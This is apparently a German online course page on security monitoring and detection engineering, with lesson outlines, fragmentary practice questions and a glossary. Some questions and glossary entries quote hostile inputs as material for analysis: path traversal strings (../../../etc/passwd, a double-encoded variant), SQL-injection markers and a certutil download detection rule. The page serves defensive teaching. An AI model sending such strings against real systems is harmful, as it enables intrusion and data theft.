- 1EinführungStrebe eine begründete nächste Maßnahme an
- 2ErklärungUnterscheide korrekte Treffer von nützlichen Alarmmeldungen
- 3BeispielMiss die Präzision bösartiger Alarmmeldungen
- 4HerausforderungLege die Bearbeitungsreihenfolge fest
- 5BeispielVerstehe und validiere das Password Spraying
- 6BeispielErmittle das Ausmaß der erfolgreichen Sitzung
- 7HerausforderungGestalte die Eskalation nutzbar
- 8ErklärungDurchsuche zuerst einen gezielten Ausschnitt
- 9BeispielDekodiere einen Befehl zur Prüfung
- 10HerausforderungHalte Kontakt und Ausführung auseinander
- 11TippNutze externen und KI-Kontext sorgfältig
- 12HerausforderungSchließe nur mit einem belegten Grund ab
- 13TippBegrenze die Zeit für verbleibende Arbeit
- 14ZusammenfassungHinterlasse eine nachvollziehbare Entscheidungsdokumentation
6Eine Erkennungsregel erstellen, testen und feinabstimmen
12 Schritte
Speichere diese Einheit, um jede Interaktive Lektion Schritt für Schritt durchzugehen.
- 1EinführungBetrachte Erkennung als laufende Aufgabe
- 2ErklärungPrüfe die benötigten Daten
- 3BeispielLies die Image- und Befehlsselektionen
- 4HerausforderungTeste, was die Regel übersieht
- 5TippTeste Varianten und normale Arbeit
- 6VerbindungBereite Analyst und Verantwortlichen vor
- 7ErklärungWähle eine Ausnahme für die tatsächliche Ursache
- 8BeispielMiss vorher und nachher
- 9HerausforderungPrüfe die Folgen einer Schwellenwertänderung
- 10ErklärungÜberwache Regeln und ihre Eingaben
- 11HerausforderungErkläre eine unerwartet stille Regel
- 12ZusammenfassungÜberprüfe eine Änderung anhand von Belegen
Sicherheitsüberwachung: Übungsaufgaben
Set 1: Belege auswählen und aufbereiten10 Übungsfragen
Frage 1 von 10
Antwort zeigenAntwort ausblenden
Frage 2 von 10
<45>. Welche Facility und welchen Schweregrad kodiert dies?Antwort zeigenAntwort ausblenden
Frage 3 von 10
2026-08-18 19:25:00 +03:00 auf; das SIEM empfängt es um 2026-08-18T16:29:00Z. Wie groß ist die Erfassungsverzögerung?Antwort zeigenAntwort ausblenden
Frage 4 von 10
dst dem Feld source.ip zu. Eine nach Quelle gruppierte Regel identifiziert nun den gescannten Server als Scanner. Welche Korrektur behebt die Ursache?Antwort zeigenAntwort ausblenden
Frage 5 von 10
Antwort zeigenAntwort ausblenden
Frage 6 von 10
Antwort zeigenAntwort ausblenden
Frage 7 von 10
Failed password for root from 203.0.113.61 erfolgreich, erfasst aber in Failed password for invalid user guest from 203.0.113.61 den Wert invalid als Benutzer. Welche Änderung erhält den beabsichtigten Benutzernamen?Antwort zeigenAntwort ausblenden
Frage 8 von 10
Antwort zeigenAntwort ausblenden
Frage 9 von 10
Antwort zeigenAntwort ausblenden
Frage 10 von 10
Antwort zeigenAntwort ausblenden
Set 2: Netzwerk-, Host- und Webmuster interpretieren10 Übungsfragen
Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.
Frage 1 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 2 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 3 von 10
%252e%252e%252fsettings. Welches Pfadfragment erscheint nach zwei URL-Dekodierungsschritten?Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 4 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 5 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 6 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 7 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 8 von 10
svchost.exe, läuft aber aus dem Downloadordner eines Benutzers. Welche Belege sollten seine Identität und Verwendung bestimmen?Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 9 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 10 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Set 3: Cloud-Identitäten und Zugriffsänderungen nachverfolgen10 Übungsfragen
Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.
Frage 1 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 2 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 3 von 10
help-7 einen Zugriffsschlüssel für svc-export erstellt. Welche Identität sollte als Akteur mit den vorherigen Anmeldungen verknüpft werden?Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 4 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 5 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 6 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 7 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 8 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 9 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 10 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Set 4: Baselines und Korrelationsregeln erstellen10 Übungsfragen
Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.
Frage 1 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 2 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 3 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 4 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 5 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 6 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 7 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 8 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 9 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 10 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Set 5: Alarmmeldungen durch Triage bewerten und das Ausmaß der Belege ermitteln10 Übungsfragen
Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.
Frage 1 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 2 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 3 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 4 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 5 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 6 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 7 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 8 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 9 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 10 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Set 6: Nützliche Erkennungsregeln entwerfen und pflegen10 Übungsfragen
Speichere diese Einheit, um jede Antwort zu sehen und jedes Set zu üben.
Frage 1 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 2 von 10
CommandLine|contains|all mit alpha und beta. Welcher Befehlszeileninhalt entspricht dieser Selektion?Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 3 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 4 von 10
certutil.exe UND Befehlstext, der sowohl „urlcache“ als auch „http“ enthält. Sie schließt Ereignisse nur aus, wenn SOWOHL user="svc-deploy" als auch host="BUILD-02" zutrifft. A enthält beide Fragmente, svc-deploy, BUILD-02. B enthält beide Fragmente, svc-deploy, WS-31. C enthält nur „urlcache“, patel, WS-31. Alle drei verwenden certutil. Welche Ereignisse treffen zu?Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 5 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 6 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 7 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 8 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 9 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Frage 10 von 10
Antwort zeigenAntwort ausblenden
Speichere diese Einheit, um diese Antwort zu sehen.
Hängst du bei deiner eigenen Aufgabe fest? Hausaufgabenhilfe
Schlüsselbegriffe
A
Abwesenheitsregel
Agentenbasierte Protokollerfassung
Aggregation
Akteur
Alarmmeldung
Alarmmüdigkeit
Anmeldetyp
10 bezeichnet interaktiven Fernzugriff, während Typ 3 Netzwerkzugriff bezeichnet.Anomalie
Anzahl unterschiedlicher Werte
ATT&CK-Zuordnung
Auditprotokoll der Anwendung
Aufbewahrungsdauer
Ausschluss
B
Base64
Baseline
Basisrate
Beaconing
Brute-Force-Angriff
C
Cloud-Auditprotokoll
Common Event Format (CEF)
Credential Stuffing
D
Dateiintegritätsüberwachung
Datenanreicherung
Datenebene
Datenexfiltration
Deduplizierung
Detection as Code
Detection Engineering
DHCP-Lease
Dienstprinzipal
Directory Traversal
../../../etc/passwd, was auf einen versuchten Ausbruch aus dem Webpfad hinweist.DNS-Tunneling
Domänengenerierungsalgorithmus
E
Elternprozess
Endpoint Detection and Response (EDR)
Ereignis
Ereigniszeitpunkt
Erfassungszeitpunkt
F
Facility
<38> durch acht ergibt Facility 4 mit dem Schweregradrest 6.Falsch negatives Ergebnis
Falsch positives Ergebnis
Feinabstimmung
Flow-Datensatz
Forced Browsing
404-Einträgen für Verwaltungs- und Sicherungspfade deutet auf automatisierte Ressourcenerkundung hin.G
Gleitendes Zeitfenster
Gruppierungsschlüssel
Gutartiges richtig positives Ergebnis
H
Heartbeat
Horizontaler Portscan
I
Identitätsanbieter
J
Jitter
K
Kompromittierungsindikator
Korrelation
L
Laterale Bewegung
Living-off-the-Land-Binary
M
Manipulation der Sicherheitsüberwachung
MFA-Ermüdung
Mittlere Erkennungszeit
Modell der geteilten Verantwortung
N
Normalisierung
event.outcome=failure.O
OAuth-Zustimmung
P
Parsing
Password Spraying
Persistenz
Perzentil
Pivoting
Präzision
Priorität
Prompt-Injection
Protokoll
Prozentkodierung
%27 zeigt einen Apostroph innerhalb eines Injection-artigen Abfrageparameters.Purple-Team-Übung
R
Regressionstest
Regulärer Ausdruck
Reputationsabfrage
Ressourcenkennung
Richtig positives Ergebnis
Risikobasierte Alarmierung
Runbook
S
Schema
source.ip als Adresse, damit eine Abfrage die Zugehörigkeit zu einem internen Subnetz prüfen kann.Schweregrad
Scoping
Selektion
Sensitivität (Recall)
Shannon-Entropie
Sicherheitsvorfall
SIEM
Sigma
Skriptblockprotokollierung
4104 hilft dem Analysten, das Skript zu lesen, das zu einem kodierten PowerShell-Start gehört.SQL-Injection
UNION SELECT in einem URL-Parameter veranlassen den Analysten, Datenbank-Auditereignisse zu prüfen.Standardabweichung
Steuerungsebene
Syslog
T
Triage
U
UEBA
Uhrendrift
Unmögliche Reise (Impossible Travel)
Unveränderlicher Speicher
Ü
Übergabe bei der Eskalation
V
Vergleichsgruppe
Verschachtelte Gruppenmitgliedschaft
Vertikaler Portscan
W
Webshell
Z
z-Wert
Zeitleiste
Zielobjekt
Über diese Einheit
Erstelle deine eigenen Lernmaterialien
Mach aus deinen Notizen, Folien und Dokumenten Lernleitfäden, Übungsfragen, Karteikarten und 6 weitere Tools.